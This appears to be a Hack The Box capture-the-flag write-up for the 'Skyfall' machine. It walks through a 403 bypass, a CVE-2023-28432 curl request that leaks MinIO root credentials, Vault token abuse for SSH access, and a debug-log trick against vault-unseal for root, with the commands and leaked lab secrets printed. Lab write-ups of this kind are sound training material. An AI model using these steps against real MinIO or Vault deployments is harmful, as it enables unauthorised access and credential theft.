Skyfall - HTB Writeup
Machine Overview
Skyfall is an Insane machine on HTB that involves bypassing a 403 error and accessing the minio metrics page, then exploiting CVE-2023-28432 to gain the minio_root_user and minio_root_password. These credentials can be used to access the minio storage through the minio client as a root user. From minio, we found a VAULT token and a Vault path, which leads us to gain initial access as the askyy user. For privilege escalation, we leverage the debug feature of vault-unseal, which leaks the root user token and path to Vault. We then follow the same method to gain a shell as root as we used to get the askyy shell.
User
Scanning with nmap
First of all, we will go with Nmap to scan the whole network and check for services running on the network. To scan the entire network and find all the open ports, I use -p- to scan all 65535 ports with –min-rate 10000 to scan the network faster using nmap. After scanning, I retrieve a list of open ports on the network and extract only the open ports using various terminal tools like cut, tr, etc.
1
2
3
$ nmap -p- --min-rate 10000 10.10.11.254 -oN ini.txt && cat ini.txt | cut -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
# Open ports
22,80
Now Let’s run the depth scan on these specific ports using
1
$ nmap -p22,80 -sC -sV -A -T4 10.10.11.254 -oN scan.txt
- -sC is to run all the default scripts
- -sV for service and version detection
- -A to check all default things
- -T4 for aggressive scan
- -oN to write the result into a specified file
1
2
3
4
5
6
7
8
9
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_ 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Information Gathering
Through Nmap, we discovered only two ports are open. On Port 22, SSH version 8.9p1 is running on an Ubuntu system, and on port 80, HTTP Nginx 1.18.0 is running. The title of the webpage is “Introducing Sky Storage!”. Both versions of SSH and Nginx are not vulnerable, so I decided to directly visit the webpage. Let’s add skyfall.htb
in our DNS file.
1
$ echo "10.10.11.254 skyfall.htb" | sudo tee -a /etc/hosts
80 HTTP
The webpage is running the SKYFALL website, which deals in data management and Sky Storage, with different pages linked on the navbar.
All the links lead to the same page, which is our main page, and we found nothing interesting there except a subdomain called demo.skyfall.htb
present on the demo section. Let’s also add this to our local DNS file.
Let’s move to the demo.skyfall.htb
website and see what is there. A simple login page is running, and demo login credentials are provided to us on the page top. So, we can log into the webpage using the demo credentials.
After logging in using the demo credentials, the website redirects us to the index page. This is a Sky Storage Dashboard, where we can upload and download our files.
Tech Stack
We couldn’t find any useful information there.
1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 06 Feb 2024 12:06:46 GMT
Content-Type: text/html
Last-Modified: Thu, 09 Nov 2023 20:44:23 GMT
Transfer-Encoding: chunked
Connection: keep-alive
ETag: W/"654d44a7-5097"
Content-Encoding: gzip
We didn’t find any useful information there, so I decided to view the source code of the web page, and from there, I discovered that the backend is using Flask, a Python framework.
1
2
3
4
<div class="copyright text-center text-sm text-muted text-lg-start">
© <a class="font-weight-bold">Sky Storage</a>
Powered by Flask.
</div>
MinIO
On the Sky Storage Dashboard, I discovered a MinIO Metrics page.
MinIO is an open-source object storage server that is compatible with the Amazon S3 cloud storage service. It allows users to store unstructured data such as photos, videos, log files, backups, and other types of large binary or text objects. MinIO is designed to be lightweight, scalable, and highly available, making it suitable for a wide range of use cases from small businesses to large enterprises. It is written in Go programming language and can run on a variety of platforms including Linux, macOS, and Windows. MinIO supports features like erasure coding, data encryption, and multi-tenancy, making it a versatile solution for building private or public cloud storage infrastructure.
But the MinIO Metrics page is returning a 403 Forbidden error. However, I really want to see the content inside it. I tried different 403 bypass techniques, and the CRLF technique works, which involves adding %0a
at the end of the file name.
At the very last entry point, I discovered the minio_endpoint_url which is: http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster
.
Let’s also add this to our local DNS file and check what is present on that MinIO endpoint. There is numerical data about the performance and health of systems and applications present, which is scraped from HTTP endpoints. I went through all the data but didn’t find anything interesting there.
After finding nothing from that endpoint, I searched for recent CVEs related to MinIO on Google and found one Information Disclosure Vulnerability known as CVE-2023-28432
in MinIO. This vulnerability affects the minio/bootstrap/v1/verify
endpoint, which leaks all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. The vulnerable code is located in the VerifyHandler function in the bootstrap-peer-server.go file of the MinIO source code. Exploiting this vulnerability could allow an attacker to access and manipulate data stored in the MinIO cluster without proper authorization. Reference
Exploiting CVE-2023-28432
When I tried to access the minio/v2/metrics/cluster
path, it threw an error “AllAccessDisabled”. Strange. So, I decided to use cURL instead.
cURL
cURL is a command-line tool used to interact with the web through the terminal.
1
2
3
4
5
6
7
$ curl -i -s -k -X $'POST' \
-H $'Host: prd23-s3-backend.skyfall.htb' -H $'User-Agent: curl/8.5.0' -H $'Accept: /' -H $'Content-Length: 2' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' \
--data-binary $'{}' \
$'http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify'
# Sensitive Data
{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}
- -i to show response header in output
- -s to remain silent
- -k for insecure communication
- -X for request method
- -H for Headers
- –data-binary for HTTP POST binary data
1
2
MINIO_ROOT_USER : 5GrE1B2YGGyZzNHZaIww
MINIO_ROOT_PASSWORD : GkpjkmiVmpFuL2d3oRx0
Now that we have both the root_user and root_password, I found on the MinIO user management page that the root user has access to all actions and resources on the deployment. So, for management purposes, we need mc (which is the MinIO client used to interact with the MinIO server remotely). Reference
You can download mc using the following command: Reference
1
2
3
$ wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x mc
./mc --help
On the same page, it is written that we can create an alias with MinIO Cloud Storage using mc alias
by providing the user secret and secret key, and we have both in our case for the root user. Reference
Listing Content of MinIO using mc
So, let’s access the MinIO Cloud Storage using mc. You can get the list of all mc commands from here.
1
2
3
$ ./mc alias set minio http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
Added `minio` successfully.
Now Lets list the content.
1
2
3
4
5
6
7
8
9
$ ./mc ls minio
[2023-11-07 23:59:15 EST] 0B askyy/
[2023-11-07 23:58:56 EST] 0B btanner/
[2023-11-07 23:58:33 EST] 0B emoneypenny/
[2023-11-07 23:58:22 EST] 0B gmallory/
[2023-11-07 19:08:01 EST] 0B guest/
[2023-11-07 23:59:05 EST] 0B jbond/
[2023-11-07 23:58:10 EST] 0B omansfield/
[2023-11-07 23:58:45 EST] 0B rsilva/
And we can see we have a list of users. Let’s access the content of each user to see if we can find any useful data from it. All the other users have only one same file, welcome.pdf, except the askyy user, who has a home_backup.tar.gz file in its storage.
1
2
3
$ ./mc ls minio/askyy
[2023-11-08 00:35:28 EST] 48KiB STANDARD Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD home_backup.tar.gz
Let’s download it using the mc cp
command. It will download the file from the MinIO server to our local file system.
1
2
$ ./mc cp minio/askyy/home_backup.tar.gz .
..._backup.tar.gz: 2.48 KiB / 2.48 KiB
The file has been downloaded successfully. Let’s extract the contents from it using the gunzip and tar utilities of Linux.
1
2
3
4
5
6
7
8
9
10
11
12
$ gunzip home_backup.tar.gz
$ tar -xvf home_backup.tar
./
./.profile
./.bashrc
./.ssh/
./.ssh/authorized_keys
./.sudo_as_admin_successful
./.bash_history
./.bash_logout
./.cache/
./.cache/motd.legal-displayed
After going through all these files, I didn’t find anything useful and moved back to the documentation of the mc client. There, I found a command called undo, which reverses changes due to either a PUT or DELETE operation at a specified path. There, I noticed that the size of the file home_backup.tar.gz
increased from 2.5KB to 2.6KB. Let’s download this one to our local filesystem using cp. I tried once more, and the size of the file increased from 2.6KB to 1.2MB. Let’s download this one as well.
1
2
3
4
5
6
7
8
9
10
11
12
$ ./mc undo minio/askyy --recursive --force
✓ Last upload of `askyy/Welcome.pdf` (vid=bba1fcc2-331d-41d4-845b-0887152f19ec) is reverted.
✓ Last upload of `askyy/home_backup.tar.gz` (vid=25835695-5e73-4c13-82f7-30fd2da2cf61) is reverted.
$ ./mc ls minio/askyy
[2023-11-09 16:37:09 EST] 2.6KiB STANDARD home_backup.tar.gz
$ ./mc cp myminio/askyy/home_backup.tar.gz .
..._backup.tar.gz: 2.64 KiB / 2.64 KiB
$ ./mc ls myminio/askyy
[2023-11-09 16:36:30 EST] 1.2MiB STANDARD home_backup.tar.gz
After that, I extracted all the files and created a folder for each one so that I can analyze the data and measure the difference between all of them. I used grep to find different patterns in all the files recursively.
1
$ grep -rni -e "Password" -e "User" -e "API" -e "Token" -e "SSH" -e "askyy"
- -r for recursive
- -n for line number
- -i for case insensitive
- -e to take each word as saperate word
Here, I found three interesting things: VAULT_API_DIR, VAULT_TOKEN, and id_rsa for the askyy user. I tried to log in using the id_rsa key, but it didn’t work. I also tried to crack the key of id_rsa using John, but that also didn’t work.
Vault
When id_rsa didn’t work, I moved to the VAULT. I Googled Vault and found the very first link describing Vault as an identity-based secrets and encryption management system. Vault works on tokens. In our case, we have both VAULT_API_DIR and the VAULT_TOKEN. Reference
You can download Vault from here. Let’s look at the help section of Vault. We can read and write, delete, list secrets.
Now, let’s connect to Vault using the token we got before. Reference First, export the vault address in an environmental variable. This will configure the Vault client to talk to the dev server. Then, export the Vault Token in another environmental variable. After setting both values, check the server status to see if it is running or not.
1
2
3
$ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
$ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
$ ./vault status
And Vault is connected successfully.
After going through the documentation of Vault, I discovered a page named One-Time SSH Password.
One-Time SSH Passwords
The One-Time SSH Password (OTP) SSH secrets engine type allows a Vault server to issue a One-Time Password every time a client wants to SSH into a remote host using a helper command on the remote host to perform verification. Reference
To mount the secrets engine to our Vault so that we can request for OTP and login through SSH, we need to perform the following steps:
1
2
$ ./vault secrets enable ssh
Success! Enabled the ssh secrets engine at: ssh/
Let’s first list the SSH roles in our current Vault.
1
2
3
4
5
$ ./vault list ssh/roles
Keys
----
admin_otp_key_role
dev_otp_key_role
We found two ssh/roles
in Vault. Let’s create an SSH session.
I tried to create an SSH session through the admin_otp_key_role
, but it didn’t work here. So, I moved to dev_otp_key_role
.
1
$ ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254
I got a shell as the askyy user.
Privilege Escalation
I ran sudo -l
to check if there is any program the askyy user can run on behalf of the root user, and it turns out that askyy can run vault-unseal.
When I go to the GitHub page of vault-unseal, it shows me four options. Reference
- -v for version detection
- -l for long path
- -c for configuration file path
- -h for help
But on our tool’s page, it shows -d, which is not documented on the official page of vault-unseal. So, I asked ChatGPT about this option, and it says that -d is mostly used for debugging purposes in different command-line tools. So, I ran vault-unseal with -d and noticed that it creates a debug.log file in the current working directory. When I tried to access it, it said “permission denied.”
Then, I created a file with the name debug.log so that next time when vault-unseal tries to save the debug content, it will save in our file. This way, we can read it.
And we found the TOKEN of the root user and the PATH. Let’s try to access the Vault of the root account. The process will be the same, just we will access the admin_otp_key_path instead of the dev_otp_key_path.
1
2
3
$ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
$ export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
$ ./vault status
1
./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254
Flags
user : 05df3abc1………8261e6b5a9db5 root : 3d66dd005990……….e073287008